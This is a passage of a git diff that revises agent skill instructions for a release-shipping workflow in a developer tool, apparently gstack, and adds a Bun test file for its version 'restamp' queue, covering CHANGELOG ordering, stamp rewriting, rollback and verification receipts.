(tried $_r). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}$GSTACK_ROOT/bin/gstack-decision-log '{"decision":"Ship NEW_VERSION (BUMP_LEVEL)","rationale":"WHY","scope":"repo","source":"skill","confidence":9}' 2>/dev/null || true```- Substitute `NEW_VERSION`, `BUMP_LEVEL`, and one-line `WHY` (scope or breaking-change signal). Best-effort, non-interactive, non-blocking.+ Substitute `NEW_VERSION`, `BUMP_LEVEL` and a one-line `WHY` (scope or breaking-change signal); best-effort, non-blocking.> **STOP.** Before writing the CHANGELOG entry (Step 13), Read `sections/changelog.md` relative to the installed `gstack-ship` SKILL.md directory and execute it> in full. Do not work from memory — that section is the source of truth for this step.@@ -931,15 +935,15 @@ EOF**IRON LAW: NO COMPLETION CLAIMS WITHOUT FRESH VERIFICATION EVIDENCE.**-Run stages 1–5 in order. Recovery instructions below name where to resume.-If content changes during or after verification, restart at stage 1 and complete-all five stages before Step 17. Content-preserving commits keep valid evidence.+Run stages 1–5 in order; recovery notes below name where to resume. Content+changes during or after verification restart at stage 1 and complete all five+stages before Step 17. Content-preserving commits keep valid evidence.### 1. Finish writers and prepare outputs-Inspect writer handles, including the docs child. Confirm terminal completion or termination-before another writer runs. Timeout or cancellation acknowledgment alone means-STOP until confirmed.+Inspect writer handles, including the docs child. Confirm terminal completion or+termination before another writer runs; timeout or cancellation acknowledgment+alone means STOP until confirmed.Find declared generation/build commands in project instructions, manifests, buildfiles and CI. Run them and save results. If none exists, record not applicable and@@ -1002,10 +1006,9 @@ checks; report unavailable checks.**Reuse a check when its inputs match.** Compare hashes or complete bytes of itssaved and current consumed files, fixtures, dependencies and execution parameters.-Explain why other changes cannot affect it; changed or unknown dependencies require a rerun.-For model judges, compare the complete expanded request, rubric, parameters and-builder/runtime dependencies. Reuse identical passing evidence: cite the original-command, result/counts, timestamp and log, never resample it. Mandatory reviews still run.+Changed or unknown dependencies require a rerun. For model judges, compare the complete+expanded request, rubric, parameters and builder/runtime dependencies. Cite the original+command, result/counts, timestamp and log, never resample. Mandatory reviews still run.**Check each test lane's receipt as well.** Use its actual Step 5 label/command:`--label <lane> --expect-cmd '<exact Step 5 command>'`. Inspect changes since the run;diff --git a/test/fixtures/golden/factory-ship-SKILL.md b/test/fixtures/golden/factory-ship-SKILL.mdindex fd823ad2b..3c34d0f93 100644--- a/test/fixtures/golden/factory-ship-SKILL.md+++ b/test/fixtures/golden/factory-ship-SKILL.md@@ -710,13 +710,15 @@ Merge the base ref fetched in Step 1 so tests and reviews cover the integrated cgit merge origin/<base> --no-edit```-**If there are merge conflicts:** Try to auto-resolve if they are simple (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the needed resolution decision, and wait for the answer before editing or continuing.+**If there are merge conflicts:** Auto-resolve simple ones (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the resolution decision, and wait for the answer before editing or continuing.**If already up to date:** Continue silently.+**Ship policy:** `$GSTACK_ROOT/bin/gstack-ship-policy show-effective --base <base>`+(docs/ship-policy.md); its `ship:` lines bind Steps 12, 16 and history.+If integration changes the artifact or distribution configuration inspected in Step 2,-repeat Step 2 on the merged content, including its decisions, then continue to Step 4.-Otherwise continue to Step 4 directly.+repeat Step 2 (decisions included) on the merged content, then Step 4.---@@ -765,6 +767,8 @@ Otherwise continue to Step 4 directly.Item 3 needs `BUMP_LEVEL`: reuse this invocation's saved level. Otherwise FRESHchooses it in item 2 and ALREADY_BUMPED derives it in item 1.+`ship: queue_mode stamp-at-merge` replaces items 1–4.+1. **Classify state** — pure reader, never writes:```bash[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack;[ -d "$_r/bin" ]||_r=~/.factory/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}@@ -788,9 +792,10 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.unreadable or malformed. Fix it or its pin, then reclassify. Never substitute `0.0.0.0`.2. **Decide the bump level** from the diff (agent judgment):- - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signals.+ - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signal.- **MINOR**: ask for any feature signal (new route/page, migration, module) or 500+ lines.- **MAJOR**: ask for milestones or breaking changes. Use AskUserQuestion: recommended+ **MAJOR**: ask for milestones or breaking changes (`ship: bump patch` never asks).+ Use AskUserQuestion: recommendedlevel with rationale, smaller level, or cancel. Wait; cancel stops before releasewrites or push and preserves existing work.Save lowercase `BUMP_LEVEL`. A claimed version may move the next available number@@ -822,24 +827,23 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.bun run $GSTACK_ROOT/bin/gstack-version-bump write --version "$NEW_VERSION" --regen-digest```The CLI validates `MAJOR.MINOR.PATCH.MICRO` (or pinned 3-digit semver) and writes- VERSION, the manifest and existing `package-lock.json` / `npm-shrinkwrap.json`;- it never creates lockfiles. Manifest path: `--package-json-path` →- `.gstack/package-json-path` → `./package.json`. npm files use the 3-digit translation- (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 means a half-write:+ VERSION, the manifest (`--package-json-path` → `.gstack/package-json-path` →+ `./package.json`) and existing npm lockfiles, never creating one, with the 3-digit+ translation (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 is a half-write:reclassify and `repair` DRIFT_STALE_PKG.- `--regen-digest` runs repo code with Step 5's privileges: `scripts/gen-agents-digest.ts`,- only when it and committed `agents-digest/gstack-AGENTS.md` exist. If `agentsDigest`- is false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump.- Before push, verify the committed digest matches generation for the selected VERSION.+ `--regen-digest` runs repo code (`scripts/gen-agents-digest.ts`) with Step 5's privileges+ only when it and committed `agents-digest/gstack-AGENTS.md` exist; if `agentsDigest` is+ false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump. Before+ push, verify the committed digest matches generation for the selected VERSION.-5. **Record the release decision after a version was actually written**, including+5. **Record the release decision after a version was written**, includingan approved ALREADY_BUMPED rebump. Skip unchanged versions and manifest-only repairs.```bash[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack;[ -d "$_r/bin" ]||_r=~/.factory/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}$GSTACK_ROOT/bin/gstack-decision-log '{"decision":"Ship NEW_VERSION (BUMP_LEVEL)","rationale":"WHY","scope":"repo","source":"skill","confidence":9}' 2>/dev/null || true```- Substitute `NEW_VERSION`, `BUMP_LEVEL`, and one-line `WHY` (scope or breaking-change signal). Best-effort, non-interactive, non-blocking.+ Substitute `NEW_VERSION`, `BUMP_LEVEL` and a one-line `WHY` (scope or breaking-change signal); best-effort, non-blocking.> **STOP.** Before writing the CHANGELOG entry (Step 13), Read `sections/changelog.md` relative to the installed `gstack-ship` SKILL.md directory and execute it> in full. Do not work from memory — that section is the source of truth for this step.@@ -912,15 +916,15 @@ EOF**IRON LAW: NO COMPLETION CLAIMS WITHOUT FRESH VERIFICATION EVIDENCE.**-Run stages 1–5 in order. Recovery instructions below name where to resume.-If content changes during or after verification, restart at stage 1 and complete-all five stages before Step 17. Content-preserving commits keep valid evidence.+Run stages 1–5 in order; recovery notes below name where to resume. Content+changes during or after verification restart at stage 1 and complete all five+stages before Step 17. Content-preserving commits keep valid evidence.### 1. Finish writers and prepare outputs-Inspect writer handles, including the docs child. Confirm terminal completion or termination-before another writer runs. Timeout or cancellation acknowledgment alone means-STOP until confirmed.+Inspect writer handles, including the docs child. Confirm terminal completion or+termination before another writer runs; timeout or cancellation acknowledgment+alone means STOP until confirmed.Find declared generation/build commands in project instructions, manifests, buildfiles and CI. Run them and save results. If none exists, record not applicable and@@ -983,10 +987,9 @@ checks; report unavailable checks.**Reuse a check when its inputs match.** Compare hashes or complete bytes of itssaved and current consumed files, fixtures, dependencies and execution parameters.-Explain why other changes cannot affect it; changed or unknown dependencies require a rerun.-For model judges, compare the complete expanded request, rubric, parameters and-builder/runtime dependencies. Reuse identical passing evidence: cite the original-command, result/counts, timestamp and log, never resample it. Mandatory reviews still run.+Changed or unknown dependencies require a rerun. For model judges, compare the complete+expanded request, rubric, parameters and builder/runtime dependencies. Cite the original+command, result/counts, timestamp and log, never resample. Mandatory reviews still run.**Check each test lane's receipt as well.** Use its actual Step 5 label/command:`--label <lane> --expect-cmd '<exact Step 5 command>'`. Inspect changes since the run;diff --git a/test/fixtures/module-size-ratchet.json b/test/fixtures/module-size-ratchet.jsonindex aa97d2e11..a3a636742 100644--- a/test/fixtures/module-size-ratchet.json+++ b/test/fixtures/module-size-ratchet.json@@ -61,6 +61,12 @@{ "file": "lib/headless-artifacts.ts", "movedFrom": "(new: the unattended artifact contract: schemas, validator, result grammar, B0)" },{ "file": "lib/gate-list.ts", "movedFrom": "(new: the final gate list renderer and reply grammar, B9)" },{ "file": "lib/autoplan-timing.ts", "movedFrom": "(new: autoplan phase timing, estimate and cycle summary, B10)" },+ { "file": "lib/ship-policy.ts", "movedFrom": "(new: the repo ship policy schema, containment and base-branch loader, C1)" },+ { "file": "lib/changelog-check.ts", "movedFrom": "(new: CHANGELOG re-heading, checks and gate-ahead merge, C2)" },+ { "file": "lib/restamp.ts", "movedFrom": "(new: the one-step restamp: staging worktree, release-tool contract, journal, gate-ahead, C2)" },+ { "file": "lib/evidence-bundle.ts", "movedFrom": "(new: portable evidence bundle, execution identity and ancestor check, C3/C7)" },+ { "file": "lib/tree-receipt.ts", "movedFrom": "(new: tree equality modulo stamps and per-gate reuse, C3)" },+ { "file": "lib/ship-receipt.ts", "movedFrom": "(new: the ship receipt block, PR-body placement and adoption census, C5)" },{ "file": "lib/spend-ledger.ts", "movedFrom": "(new: the spend cap admission ledger reserve/settle/release and the file lock, B2)" },{ "file": "lib/outside-voice-runner.ts", "movedFrom": "(new: the outside-voice adapter interface, model families and runner selection, B3)" },{ "file": "lib/outside-voice-api.ts", "movedFrom": "(new: the direct OpenAI/Anthropic api runner labeled supplied-input review, B3)" },diff --git a/test/gstack-restamp-queue.test.ts b/test/gstack-restamp-queue.test.tsnew file mode 100644index 000000000..4120dc44a--- /dev/null+++ b/test/gstack-restamp-queue.test.ts@@ -0,0 +1,386 @@+/**+ * C2/C3 queue replay (plan Validation 3): three PRs on a fixture repo with a+ * `release:restamp` script, a CHANGELOG, `since:` fields and `vX` mentions;+ * the queue is reordered twice with zero manual edits. Pins the stamp text,+ * CHANGELOG order, the journal, injected failures after every stage,+ * idempotency, dry-run, gate-ahead on a squash-history PR, the PREDECESSOR+ * MOVED refusal, QUEUE_STALE for a moved base and a moved order, and the+ * version-source shapes (package-manifest pin, monorepo pin, absent source).+ */+import { afterEach, describe, expect, test } from 'bun:test';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT } from '../lib/headless-artifacts';+import { checkChangelog, mergeChangelogs, normalizeChangelog, reheadChangelog } from '../lib/changelog-check';+import { rewriteStamps, tentativeMentions } from '../lib/restamp';+import {+ BASE_POLICY, cleanup, ghShim, makeFixtureRepo, makePr, mergeToMain, readFile, recordAndBundle, restamp, runBin, type FixtureRepo, mergeMain } from './helpers/restamp-fixture';++const repos: FixtureRepo[] = [];+const fixture = (opts?: Parameters<typeof makeFixtureRepo>[0]) => { const r = makeFixtureRepo(opts); repos.push(r); return r; };+afterEach(() => { while (repos.length) cleanup(repos.pop()!); });++const topHeading = (repo: FixtureRepo) => readFile(repo, 'CHANGELOG.md').split('\n').find(l => l.startsWith('## '));+const headings = (repo: FixtureRepo) => readFile(repo, 'CHANGELOG.md').split('\n').filter(l => l.startsWith('## ')).map(l => /\[([^\]]+)\]/.exec(l)![1]);+const stages = (out: string) => Object.fromEntries([...out.matchAll(/^stage (\w+): (\w+)/gm)].map(m => [m[1], m[2]]));++describe('pure pieces', () => {+ test('rewriteStamps: exact (was X) / since: X / vX only; a bare dependency pin equal to X stays', () => {+ const r = rewriteStamps('since: 1.2.3.0, v1.2.3.0, (was 1.2.3.0), pinned 1.2.3.0, v1.2.3.01, av1.2.3.0, since:1.2.3.0', '1.2.3.0', '1.2.4.0');+ expect(r.text).toBe('since: 1.2.4.0, v1.2.4.0, (was 1.2.4.0), pinned 1.2.3.0, v1.2.3.01, av1.2.3.0, since:1.2.4.0');+ expect(r.count).toBe(4);+ });++ test('tentativeMentions: only lines the branch added, newer than the fork version, matching width, not the allocated one', () => {+ const added = new Map([['docs/a.md', new Set(['since: 1.2.4.0 v1.2.3.0 (was 1.2.2.0) v1.2.9.0 since: 1.2.4 v2.0.0.0', 'pinned 1.2.5.0'])]]);+ expect(tentativeMentions(added, '1.2.3.0', '1.2.9.0').sort()).toEqual(['1.2.4.0', '2.0.0.0']);+ expect(tentativeMentions(added, '1.2.6.0', '1.2.7.0').sort()).toEqual(['1.2.9.0', '2.0.0.0']);+ expect(tentativeMentions(new Map([['x', new Set(['since: 1.2.4'])]]), '1.2.3', '1.2.5')).toEqual(['1.2.4']);+ expect(tentativeMentions(new Map(), '1.2.3.0', '1.2.4.0')).toEqual([]);+ });++ test('CHANGELOG: re-heading moves [Unreleased] to the top; duplicates and a top mismatch are errors; a heading move normalizes equal', () => {+ const text = '# Changelog\n\n## [1.2.3.0] - 2026-10-01\n\n- base\n\n## [Unreleased]\n\n- mine\n';+ const r = reheadChangelog(text, { from: '1.2.4.0', to: '1.2.5.0', date: '2026-10-10' });+ expect(r.moved).toBe(true);+ expect(r.text).toBe('# Changelog\n\n## [1.2.5.0] - 2026-10-10\n\n- mine\n\n## [1.2.3.0] - 2026-10-01\n\n- base\n');+ expect(checkChangelog(r.text, '1.2.5.0')).toEqual([]);+ expect(checkChangelog(r.text, '1.2.6.0').map(e => e.code)).toEqual(['CHANGELOG_TOP_MISMATCH']);+ expect(checkChangelog(r.text + '\n## [1.2.3.0] - 2026-10-02\n\n- dup\n', '1.2.5.0').map(e => e.code)).toEqual(['CHANGELOG_DUPLICATE_HEADING']);+ expect(reheadChangelog(r.text, { from: '1.2.5.0', to: '1.2.5.0', date: 'x' }).moved).toBe(false);+ expect(reheadChangelog('# Changelog\n\n## [1.2.3.0] - d\n\n- base\n', { from: '9.9.9.9', to: '1.2.5.0', date: 'x' }).error?.code).toBe('CHANGELOG_SECTION_MISSING');+ expect(normalizeChangelog(r.text)).toBe(normalizeChangelog(text.replace('[Unreleased]', '[1.2.9.0] - 2026-10-11')));+ expect(normalizeChangelog(r.text)).not.toBe(normalizeChangelog(r.text.replace('- mine', '- mine edited')));+ const merged = mergeChangelogs('# Changelog\n\n## [Unreleased]\n\n- b\n\n## [1.2.3.0] - d\n\n- base\n', '# Changelog\n\n## [1.2.4.0] - d\n\n- a\n\n## [1.2.3.0] - d\n\n- base\n');+ expect(merged).toBe('# Changelog\n\n## [Unreleased]\n\n- b\n\n## [1.2.4.0] - d\n\n- a\n\n## [1.2.3.0] - d\n\n- base\n');+ expect(mergeChangelogs('# C\n\n## [Unreleased]\n\n- b\n', '# C\n\n## [Unreleased]\n\n- a\n')).toBeNull();+ });+});++describe('three PRs, reordered twice, zero manual edits', () => {+ test('stamp-at-merge: each PR stamps from main at its turn; since:/vX text, CHANGELOG order and journals follow', () => {+ const repo = fixture();+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ makePr(repo, 'pr-b', { expects: '1.2.4.0' });+ makePr(repo, 'pr-c', { expects: '1.2.4.0' });++ // A is next.+ repo.git('checkout', '-q', 'pr-a');+ const a = restamp(repo, ['--next', '--pr', '1']);+ expect(a.status).toBe(EXIT.ok);+ expect(a.out).toContain('ship, next in queue at 1.2.4.0');+ expect(a.out).toContain('claims: ignored (stamp-at-merge)');+ expect(a.out).toMatch(/^next: NEW_VERSION=1\.2\.4\.0; .*CHANGELOG entry text only.*expected head [0-9a-f]{40}/m);+ expect(stages(a.out)).toMatchObject({ version: 'done', release_tool: 'done', changelog: 'done', stamp_paths: 'skipped', apply: 'done' });+ expect(readFile(repo, 'VERSION')).toBe('1.2.4.0\n');+ expect(readFile(repo, 'generated/digest.md')).toBe('# digest v1.2.4.0\nbody\n');+ expect(topHeading(repo)).toMatch(/^## \[1\.2\.4\.0\] - \d{4}-\d{2}-\d{2}$/);+ expect(JSON.parse(readFile(repo, 'package.json')).version).toBe('1.2.4');+ expect(JSON.parse(readFile(repo, 'package-lock.json')).packages[''].version).toBe('1.2.4');+ const journal = JSON.parse(readFile(repo, '.gstack/tmp/restamp-journal.json'));+ expect(journal.status).toBe('complete');+ expect(journal.inputs).toMatchObject({ old_version: '1.2.3.0', new_version: '1.2.4.0', queue_mode: 'stamp-at-merge' });+ expect(journal.stages.map((s: any) => s.name)).toEqual(['version', 'release_tool', 'changelog', 'stamp_paths', 'mirror', 'apply']);+ expect(journal.stages.at(-1).writes.every((w: any) => w.applied && w.post_sha256)).toBe(true);+ // Idempotent.+ const again = restamp(repo, ['--next', '--pr', '1']);+ expect(again.out).toMatch(/^RESTAMP: 1\.2\.4\.0 -> 1\.2\.4\.0 \(noop;/m);+ expect(again.out).toContain('FILES: (none)');+ repo.git('commit', '-qam', 'stamp a');+ mergeToMain(repo, 'pr-a');++ // Reorder 1: C jumps ahead of B. C wrote docs for 1.2.4.0; main is 1.2.4.0 now, so 1.2.4.0 is released and its docs mention must move to 1.2.5.0.+ repo.git('checkout', '-q', 'pr-c');+ mergeMain(repo);+ const c = restamp(repo, ['--next', '--pr', '3']);+ expect(c.status).toBe(EXIT.ok);+ expect(c.out).toContain('STAMP_VERSION: 1.2.5.0');+ expect(stages(c.out).stamp_paths).toBe('done');+ expect(readFile(repo, 'docs/pr-c.md')).toBe('since: 1.2.5.0\nRequires v1.2.5.0 or later.\n');+ expect(readFile(repo, 'docs/notes.md')).toBe('Previous release v1.2.3.0.\nleft-pad pinned at 1.2.3 (was 1.2.2)\n');+ expect(headings(repo).slice(0, 3)).toEqual(['1.2.5.0', '1.2.4.0', '1.2.3.0']);+ repo.git('commit', '-qam', 'stamp c');+ mergeToMain(repo, 'pr-c');++ // Reorder 2: B was once "next"; it is last now and goes 1.2.6.0.+ repo.git('checkout', '-q', 'pr-b');+ mergeMain(repo);+ const b = restamp(repo, ['--next', '--pr', '2']);+ expect(b.status).toBe(EXIT.ok);+ expect(b.out).toContain('ship, next in queue at 1.2.6.0');+ expect(readFile(repo, 'docs/pr-b.md')).toBe('since: 1.2.6.0\nRequires v1.2.6.0 or later.\n');+ expect(headings(repo).slice(0, 4)).toEqual(['1.2.6.0', '1.2.5.0', '1.2.4.0', '1.2.3.0']);+ // A later tentative stamp on the branch itself is rewritten exactly, and the re-stamp is a pure stamp for the receipt.+ repo.git('commit', '-qam', 'stamp b');+ const gated = repo.git('rev-parse', 'HEAD');+ const b2 = restamp(repo, ['--version', '1.2.7.0', '--pr', '2']);+ expect(b2.status).toBe(EXIT.ok);+ expect(stages(b2.out).stamp_paths).toBe('done');+ expect(b2.out).toContain('(1.2.6.0 -> 1.2.7.0)');+ expect(readFile(repo, 'docs/pr-b.md')).toBe('since: 1.2.7.0\nRequires v1.2.7.0 or later.\n');+ expect(headings(repo)[0]).toBe('1.2.7.0');+ repo.git('commit', '-qam', 'restamp b');+ const receipt = runBin(repo, 'gstack-tree-receipt', ['--gated', gated, '--base', 'main', '--json']);+ const parsed = JSON.parse(receipt.out);+ expect(parsed.tree).toBe('same-modulo-stamps');+ expect(parsed.files.map((f: any) => `${f.path}:${f.verdict}:${f.rule}`).sort()).toEqual([+ 'CHANGELOG.md:stamp:changelog-heading', 'VERSION:stamp:version-file', 'docs/pr-b.md:stamp:stamp_paths', 'generated/digest.md:stamp:release_outputs',+ 'package-lock.json:stamp:lockfile-root-version', 'package.json:stamp:manifest-version',+ ]);+ expect(parsed.gate_reuse).toBe('not-eligible');+ expect(parsed.gate_reuse_reason).toContain('no evidence bundle');+ expect(receipt.out).not.toContain('TREE:');+ // A real edit after the gate is a change.+ fs.appendFileSync(path.join(repo.work, 'pr-b.txt'), 'more\n');+ repo.git('commit', '-qam', 'edit');+ const changed = runBin(repo, 'gstack-tree-receipt', ['--gated', gated, '--base', 'main']);+ expect(changed.status).toBe(EXIT.fail);+ expect(changed.out).toMatch(/^TREE: changed \(pr-b\.txt\)$/m);+ expect(changed.out).toMatch(/^gate-reuse: not-eligible \(tree changed: pr-b\.txt\) — fix: .* \(GATE_REUSE_NOT_ELIGIBLE\)$/m);+ });++ test('--dry-run prints the full diff and writes nothing; --was overrides the mention source', () => {+ const repo = fixture();+ makePr(repo, 'pr-a', { expects: '1.9.0.0' });+ const r = restamp(repo, ['--next', '--dry-run', '--was', '1.9.0.0']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toMatch(/^-since: 1\.9\.0\.0$/m);+ expect(r.out).toMatch(/^\+since: 1\.2\.4\.0$/m);+ expect(r.out).toMatch(/^-## \[Unreleased\]$/m);+ expect(repo.git('status', '--porcelain')).toBe('');+ expect(fs.existsSync(path.join(repo.work, '.gstack', 'tmp', 'restamp-journal.json'))).toBe(false);+ });++ test('legacy claim-at-open: --next reads the claim queue (unverified falls back to arithmetic) and says so', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, queue_mode: 'claim-at-open' } });+ makePr(repo, 'pr-a');+ const r = restamp(repo, ['--next', '--dry-run']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toContain('queue_mode=claim-at-open');+ expect(r.out).toMatch(/^claims: (read \(claim-at-open|unverified \(claim-at-open)/m);+ expect(r.out).not.toContain('ship, next in queue at');+ const forced = restamp(repo, ['--next', '--dry-run', '--queue-mode', 'stamp-at-merge']);+ expect(forced.out).toContain('claims: ignored (stamp-at-merge)');+ });+});++describe('journal and injected failures', () => {+ for (const stage of ['version', 'release_tool', 'changelog', 'stamp_paths']) {+ test(`a failure after the ${stage} stage leaves the branch untouched and the staging worktree removed`, () => {+ const repo = fixture();+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ const before = repo.git('status', '--porcelain');+ const r = restamp(repo, ['--version', '1.2.5.0'], { GSTACK_RESTAMP_FAIL_AFTER: stage });+ expect(r.status).toBe(EXIT.fail);+ expect(r.err).toMatch(new RegExp(`injected failure after ${stage}.*\\(RESTAMP_CONFLICT\\)`));+ expect(r.out).toMatch(/GSTACK_RESULT: skill=restamp status=incomplete/);+ expect(repo.git('status', '--porcelain')).toBe(before);+ expect(readFile(repo, 'VERSION')).toBe('1.2.3.0\n');+ expect(repo.git('worktree', 'list').split('\n')).toHaveLength(1);+ });+ }++ test('a failure mid-apply rolls back the applied writes, records it, and a rerun completes the stamp', () => {+ const repo = fixture();+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ const r = restamp(repo, ['--version', '1.2.5.0'], { GSTACK_RESTAMP_FAIL_AFTER: 'apply:2' });+ expect(r.status).toBe(EXIT.fail);+ expect(r.err).toMatch(/injected failure after apply:2; rolled back 2 write\(s\).*\(RESTAMP_CONFLICT\)/);+ expect(repo.git('status', '--porcelain')).toBe('');+ const journal = JSON.parse(readFile(repo, '.gstack/tmp/restamp-journal.json'));+ expect(journal.status).toBe('rolled_back');+ expect(journal.stages.at(-1).writes.filter((w: any) => w.applied)).toHaveLength(0);+ const again = restamp(repo, ['--version', '1.2.5.0']);+ expect(again.status).toBe(EXIT.ok);+ expect(readFile(repo, 'VERSION')).toBe('1.2.5.0\n');+ expect(readFile(repo, 'docs/pr-a.md')).toContain('since: 1.2.5.0');+ expect(JSON.parse(readFile(repo, '.gstack/tmp/restamp-journal.json')).status).toBe('complete');+ });++ test('an edit to a stamp file while the restamp stages is RESTAMP_CONFLICT: the preimage check refuses and nothing is applied', async () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: 'node gen.js && while [ ! -f "$GSTACK_TEST_GO" ]; do sleep 0.05; done' } });+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ const go = path.join(repo.root, 'go');+ const { spawn } = await import('node:child_process');+ const child = spawn(path.join(path.resolve(import.meta.dir, '..'), 'bin', 'gstack-restamp'), ['--base', 'main', '--allow-repo-commands', '--version', '1.2.5.0'], { cwd: repo.work, env: { ...process.env, ...repo.env, GSTACK_TEST_GO: go }, stdio: ['ignore', 'pipe', 'pipe'] });+ let out = ''; let err = '';+ child.stdout.on('data', (d) => { out += d; });+ child.stderr.on('data', (d) => { err += d; });+ const deadline = Date.now() + 20_000;+ while (!fs.existsSync(path.join(repo.work, 'generated', 'digest.md')) || repo.git('worktree', 'list').split('\n').length < 2) {+ if (Date.now() > deadline) throw new Error('staging worktree never appeared');+ await new Promise(r => setTimeout(r, 50));+ }+ fs.appendFileSync(path.join(repo.work, 'docs', 'pr-a.md'), 'edited meanwhile\n');+ fs.writeFileSync(go, '1');+ const code = await new Promise<number | null>((resolve) => child.on('close', resolve));+ expect(code).toBe(EXIT.fail);+ expect(err).toMatch(/docs\/pr-a\.md changed in the working tree while the restamp staged.*\(RESTAMP_CONFLICT\)/);+ expect(out).toMatch(/status=incomplete/);+ expect(readFile(repo, 'VERSION')).toBe('1.2.3.0\n');+ expect(readFile(repo, 'docs/pr-a.md')).toContain('edited meanwhile');+ expect(repo.git('worktree', 'list').split('\n')).toHaveLength(1);+ }, 30_000);+});++describe('gate-ahead (--after), predecessor movement and queue staleness', () => {+ test('a squash-history PR gates ahead of its predecessor: the branch is untouched, the synthetic tree carries N+1 above the predecessor entry, and the record binds the evidence branch key', () => {+ const repo = fixture();+ const aHead = makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ repo.git('checkout', '-q', 'pr-a');+ expect(restamp(repo, ['--next', '--pr', '1']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp a');+ const aStamped = repo.git('rev-parse', 'HEAD');+ const bHead = makePr(repo, 'pr-b', { expects: '1.2.4.0' });+ expect(repo.git('rev-list', '--count', 'origin/main..HEAD')).toBe('1');+ const r = restamp(repo, ['--after', '1', '--predecessor-ref', 'pr-a', '--pr', '2']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toContain('STAMP_VERSION: 1.2.5.0');+ expect(r.out).toContain('claims: ignored (gate-ahead relative to predecessor)');+ expect(r.out).toMatch(/^next: run the verification gate in .*gate-ahead-worktree, then `gstack-evidence bundle --out <file>` there/m);+ expect(r.out).toMatch(/^GATE_AHEAD: head=[0-9a-f]{40} tree=[0-9a-f]{40} predecessor=#1@[0-9a-f]{12} worktree=.* evidence_branch=pr-b$/m);+ expect(repo.git('rev-parse', 'HEAD')).toBe(bHead);+ expect(repo.git('status', '--porcelain')).toBe('');+ expect(repo.git('rev-list', '--count', 'origin/main..HEAD')).toBe('1');+ const rec = JSON.parse(readFile(repo, '.gstack/tmp/gate-ahead.json'));+ expect(rec).toMatchObject({ schema_version: 1, pr: '2', predecessor_pr: '1', predecessor_head: aStamped, branch_head: bHead, version: '1.2.5.0', evidence_branch_key: 'pr-b' });+ expect(rec.gated_head).not.toBe(bHead);+ const show = (rel: string) => runBin(repo, 'gstack-restamp', ['--help'], {}, repo.work) && repo.git('show', `${rec.gated_head}:${rel}`);+ expect(show('VERSION')).toBe('1.2.5.0');+ expect(show('docs/pr-b.md')).toBe('since: 1.2.5.0\nRequires v1.2.5.0 or later.');+ expect(show('CHANGELOG.md').split('\n').filter(l => l.startsWith('## ')).slice(0, 2).join('|')).toMatch(/^## \[1\.2\.5\.0\] - .*\|## \[1\.2\.4\.0\] - /);+ expect(aHead).not.toBe(aStamped);++ // The gate runs in the worktree and exports a bundle; after the real merge + restamp the receipt is eligible except for stamp-sensitive lanes.+ const bundle = path.join(repo.root, 'bundle.json');+ recordAndBundle(repo, rec.worktree, [{ label: 'tests', command: 'true' }, { label: 'digest', command: 'cat generated/digest.md' }], bundle);+ mergeToMain(repo, 'pr-a');+ repo.git('checkout', '-q', 'pr-b');+ mergeMain(repo);+ expect(restamp(repo, ['--next', '--pr', '2']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp b');+ const receipt = runBin(repo, 'gstack-tree-receipt', ['--from', path.join(repo.work, '.gstack/tmp/gate-ahead.json'), '--predecessor-ref', 'pr-a', '--bundle', bundle, '--base', 'main']);+ expect(receipt.status).toBe(EXIT.ok);+ expect(receipt.out).toMatch(/^TREE: same-modulo-stamps$/m);+ expect(receipt.out).toMatch(/^gate-reuse: eligible \(reusable: tests; rerun: digest\)$/m);+ expect(receipt.out).toMatch(/^ gate digest: rerun \(stamp-sensitive/m);+ const json = JSON.parse(runBin(repo, 'gstack-tree-receipt', ['--from', path.join(repo.work, '.gstack/tmp/gate-ahead.json'), '--predecessor-ref', 'pr-a', '--bundle', bundle, '--base', 'main', '--json']).out);+ expect(json.gated_tree).toBe(json.current_tree);+ expect(json.predecessor).toMatchObject({ pr: '1', recorded_head: aStamped, current_head: aStamped, moved: false });++ // PREDECESSOR MOVED: the predecessor PR gains a commit after the gate.+ repo.git('checkout', '-q', 'pr-a');+ fs.appendFileSync(path.join(repo.work, 'pr-a.txt'), 'late\n');+ repo.git('commit', '-qam', 'late fix');+ repo.git('checkout', '-q', 'pr-b');+ const moved = runBin(repo, 'gstack-tree-receipt', ['--from', path.join(repo.work, '.gstack/tmp/gate-ahead.json'), 